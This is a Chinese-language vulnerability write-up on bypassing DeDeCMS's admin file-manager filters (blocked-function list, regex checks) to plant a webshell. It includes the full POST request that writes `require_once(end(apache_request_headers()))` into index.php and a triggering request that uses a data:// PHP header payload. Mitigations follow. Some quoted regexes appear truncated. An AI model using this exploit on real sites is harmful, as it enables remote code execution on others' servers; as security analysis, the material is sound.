记一次最新版DeDecms 绕过层层过滤getshell过程
字数 838 2025-08-22 18:37:14
DeDecms 最新版绕过过滤实现Getshell技术分析
前言
本文详细分析最新版DeDecms(织梦CMS)中存在的安全漏洞,通过绕过多层过滤机制实现Getshell的技术过程。该漏洞利用需要后台权限,主要涉及文件管理模块的过滤绕过技术。
环境搭建
- 下载最新版DeDecms
- 使用phpstudy搭建测试环境
漏洞分析
初始发现
在获得后台权限后,通过"模块 > 文件管理"功能尝试编辑文件时,发现系统存在严格的恶意代码检测机制。
WAF防护机制分析
系统在file_class.php中实现了多层防护:
1. 路径限制
$filename = preg_replace("#, "", $filename);
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
2. 危险函数禁用
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs . ',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
3. 正则检测规则
系统实现了四层正则检测:
- 检测PHP起始标签:
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE)
- 检测变量函数调用:
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE)
- 检测错误抑制符调用:
if(preg_match(0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE)
- 检测反引号命令执行:
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE)
绕过技术
1. 利用未被禁用的函数
发现apache_request_headers()未被禁用,它是getallheaders()的别名,可在Apache环境下使用。
2. 结合end()函数
使用end()函数获取请求头数组的最后一个元素:
end(apache_request_headers())
3. 利用require_once包含
require_once未被禁用,可用于包含恶意代码。
4. 使用data协议
通过自定义HTTP头配合data协议执行PHP代码。
完整利用过程
第一步:写入恶意代码
向file_manage_control.php发送POST请求,写入以下内容:
<?php
require_once(end(apache_request_headers()));
POST请求示例:
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Arequire_once%28end%28apache_request_headers%28%29%29%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
第二步:触发恶意代码
访问被修改的文件,添加自定义HTTP头"rce"并使用data协议:
GET /index.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: dedecms:5135
防御建议
- 加强文件管理模块的权限控制
- 禁用
apache_request_headers()函数 - 限制
require_once的使用 - 禁止data协议的使用
- 更新到最新安全版本
总结
该漏洞利用需要后台权限,通过精心构造的代码绕过多层过滤机制,最终实现远程代码执行。管理员应严格控制后台访问权限,并及时应用安全补丁。